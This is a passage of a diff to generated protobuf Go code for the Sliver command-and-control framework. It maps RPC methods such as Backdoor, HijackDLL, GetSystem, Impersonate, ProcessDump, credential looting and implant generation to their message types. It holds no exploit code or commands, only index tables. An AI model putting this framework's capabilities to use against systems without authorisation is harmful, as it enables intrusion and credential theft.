- 201, // 321: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
- 201, // 322: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
- 205, // 323: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
- 206, // 324: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
- 207, // 325: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
- 208, // 326: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
- 209, // 327: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
- 210, // 328: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
- 211, // 329: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
- 212, // 330: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
- 213, // 331: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
- 214, // 332: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
- 215, // 333: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
- 216, // 334: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
- 217, // 335: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
- 218, // 336: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
- 219, // 337: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
- 220, // 338: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
- 221, // 339: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
- 220, // 340: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
- 112, // 341: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
- 0, // 342: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
- 222, // 343: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
- 223, // 344: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
- 224, // 345: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
- 225, // 346: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
- 226, // 347: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
- 227, // 348: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
- 228, // 349: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
- 228, // 350: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
- 229, // 351: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
- 229, // 352: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
- 230, // 353: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
- 231, // 354: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
- 232, // 355: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
- 233, // 356: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
- 128, // 357: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
- 0, // 358: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
- 129, // 359: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
- 130, // 360: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
- 0, // 361: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
- 131, // 362: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
- 30, // 363: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
- 182, // [182:364] is the sub-list for method output_type
- 0, // [0:182] is the sub-list for method input_type
+ 40, // 79: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq
+ 0, // 80: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty
+ 41, // 81: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq
+ 0, // 82: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty
+ 0, // 83: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty
+ 42, // 84: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder
+ 42, // 85: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder
+ 0, // 86: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty
+ 43, // 87: rpcpb.SliverRPC.Website:input_type -> clientpb.Website
+ 43, // 88: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website
+ 44, // 89: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent
+ 44, // 90: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent
+ 45, // 91: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent
+ 46, // 92: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping
+ 47, // 93: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq
+ 48, // 94: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq
+ 49, // 95: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq
+ 50, // 96: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq
+ 51, // 97: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq
+ 52, // 98: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq
+ 53, // 99: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq
+ 54, // 100: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq
+ 55, // 101: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq
+ 56, // 102: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq
+ 57, // 103: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq
+ 58, // 104: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq
+ 59, // 105: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq
+ 60, // 106: rpcpb.SliverRPC.Grep:input_type -> sliverpb.GrepReq
+ 61, // 107: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq
+ 62, // 108: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq
+ 63, // 109: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq
+ 64, // 110: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq
+ 65, // 111: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq
+ 66, // 112: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq
+ 67, // 113: rpcpb.SliverRPC.Mount:input_type -> sliverpb.MountReq
+ 68, // 114: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq
+ 69, // 115: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq
+ 70, // 116: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq
+ 71, // 117: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq
+ 72, // 118: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq
+ 73, // 119: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq
+ 74, // 120: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq
+ 75, // 121: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq
+ 76, // 122: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq
+ 77, // 123: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq
+ 78, // 124: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq
+ 79, // 125: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq
+ 80, // 126: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq
+ 81, // 127: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq
+ 82, // 128: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq
+ 83, // 129: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq
+ 84, // 130: rpcpb.SliverRPC.Services:input_type -> sliverpb.ServicesReq
+ 85, // 131: rpcpb.SliverRPC.ServiceDetail:input_type -> sliverpb.ServiceDetailReq
+ 86, // 132: rpcpb.SliverRPC.StartServiceByName:input_type -> sliverpb.StartServiceByNameReq
+ 87, // 133: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq
+ 88, // 134: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq
+ 89, // 135: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq
+ 0, // 136: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty
+ 90, // 137: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq
+ 91, // 138: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq
+ 92, // 139: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq
+ 93, // 140: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq
+ 94, // 141: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq
+ 95, // 142: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq
+ 96, // 143: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq
+ 97, // 144: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq
+ 98, // 145: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq
+ 99, // 146: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq
+ 100, // 147: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq
+ 101, // 148: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq
+ 102, // 149: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq
+ 103, // 150: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq
+ 104, // 151: rpcpb.SliverRPC.RegistryReadHive:input_type -> sliverpb.RegistryReadHiveReq
+ 105, // 152: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq
+ 106, // 153: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq
+ 107, // 154: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq
+ 108, // 155: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq
+ 109, // 156: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq
+ 110, // 157: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq
+ 111, // 158: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession
+ 112, // 159: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession
+ 113, // 160: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq
+ 114, // 161: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq
+ 115, // 162: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq
+ 116, // 163: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq
+ 117, // 164: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq
+ 118, // 165: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq
+ 119, // 166: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq
+ 120, // 167: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq
+ 121, // 168: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq
+ 122, // 169: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq
+ 123, // 170: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
+ 124, // 171: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
+ 125, // 172: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
+ 126, // 173: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
+ 127, // 174: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
+ 127, // 175: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
+ 128, // 176: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
+ 129, // 177: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
+ 129, // 178: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
+ 130, // 179: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
+ 0, // 180: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
+ 131, // 181: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
+ 0, // 182: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
+ 132, // 183: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
+ 0, // 184: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
+ 133, // 185: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
+ 0, // 186: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
+ 134, // 187: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
+ 135, // 188: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
+ 0, // 189: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
+ 136, // 190: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
+ 135, // 191: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
+ 135, // 192: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
+ 137, // 193: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
+ 137, // 194: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
+ 137, // 195: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
+ 137, // 196: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
+ 137, // 197: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
+ 138, // 198: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
+ 10, // 199: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
+ 0, // 200: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
+ 139, // 201: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
+ 11, // 202: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
+ 11, // 203: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
+ 0, // 204: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
+ 140, // 205: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
+ 141, // 206: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
+ 0, // 207: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
+ 142, // 208: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
+ 16, // 209: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
+ 0, // 210: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
+ 16, // 211: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
+ 16, // 212: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
+ 143, // 213: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
+ 17, // 214: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
+ 0, // 215: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
+ 0, // 216: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
+ 0, // 217: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
+ 18, // 218: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
+ 17, // 219: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
+ 17, // 220: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
+ 18, // 221: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
+ 144, // 222: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
+ 19, // 223: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
+ 0, // 224: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
+ 0, // 225: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
+ 145, // 226: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
+ 146, // 227: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
+ 0, // 228: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
+ 146, // 229: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
+ 145, // 230: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
+ 0, // 231: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
+ 147, // 232: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
+ 148, // 233: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
+ 0, // 234: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
+ 30, // 235: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
+ 0, // 236: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
+ 149, // 237: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
+ 150, // 238: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
+ 30, // 239: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
+ 0, // 240: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
+ 0, // 241: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
+ 151, // 242: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
+ 34, // 243: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
+ 0, // 244: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
+ 152, // 245: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
+ 35, // 246: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
+ 0, // 247: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
+ 36, // 248: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
+ 0, // 249: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
+ 0, // 250: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
+ 145, // 251: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
+ 153, // 252: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
+ 0, // 253: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
+ 154, // 254: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
+ 155, // 255: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
+ 156, // 256: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
+ 157, // 257: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
+ 0, // 258: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
+ 39, // 259: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
+ 158, // 260: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
+ 159, // 261: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
+ 160, // 262: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
+ 161, // 263: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
+ 162, // 264: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
+ 163, // 265: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
+ 0, // 266: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
+ 164, // 267: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
+ 43, // 268: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
+ 0, // 269: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
+ 43, // 270: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
+ 43, // 271: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
+ 43, // 272: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
+ 46, // 273: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
+ 165, // 274: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
+ 166, // 275: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
+ 167, // 276: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
+ 168, // 277: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
+ 169, // 278: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
+ 170, // 279: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
+ 170, // 280: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
+ 171, // 281: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
+ 172, // 282: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
+ 173, // 283: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
+ 174, // 284: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
+ 175, // 285: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
+ 176, // 286: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
+ 177, // 287: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
+ 178, // 288: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
+ 179, // 289: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
+ 180, // 290: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
+ 169, // 291: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
+ 181, // 292: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
+ 182, // 293: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
+ 183, // 294: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
+ 184, // 295: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
+ 185, // 296: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
+ 186, // 297: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
+ 187, // 298: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
+ 188, // 299: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
+ 189, // 300: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
+ 189, // 301: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
+ 189, // 302: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
+ 190, // 303: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
+ 191, // 304: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
+ 192, // 305: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
+ 192, // 306: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
+ 193, // 307: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
+ 194, // 308: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
+ 195, // 309: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
+ 196, // 310: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
+ 197, // 311: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
+ 198, // 312: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
+ 199, // 313: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
+ 200, // 314: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
+ 0, // 315: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
+ 201, // 316: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
+ 202, // 317: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
+ 199, // 318: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
+ 199, // 319: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
+ 199, // 320: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
+ 203, // 321: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
+ 204, // 322: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
+ 205, // 323: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
+ 206, // 324: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
+ 207, // 325: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
+ 208, // 326: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
+ 209, // 327: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
+ 210, // 328: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
+ 211, // 329: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
+ 212, // 330: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
+ 213, // 331: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
+ 214, // 332: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
+ 215, // 333: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
+ 216, // 334: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
+ 217, // 335: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
+ 218, // 336: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
+ 219, // 337: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
+ 218, // 338: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
+ 111, // 339: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
+ 0, // 340: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
+ 220, // 341: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
+ 221, // 342: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
+ 222, // 343: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
+ 223, // 344: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
+ 224, // 345: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
+ 225, // 346: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
+ 226, // 347: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
+ 226, // 348: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
+ 227, // 349: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
+ 227, // 350: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
+ 228, // 351: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
+ 229, // 352: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
+ 230, // 353: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
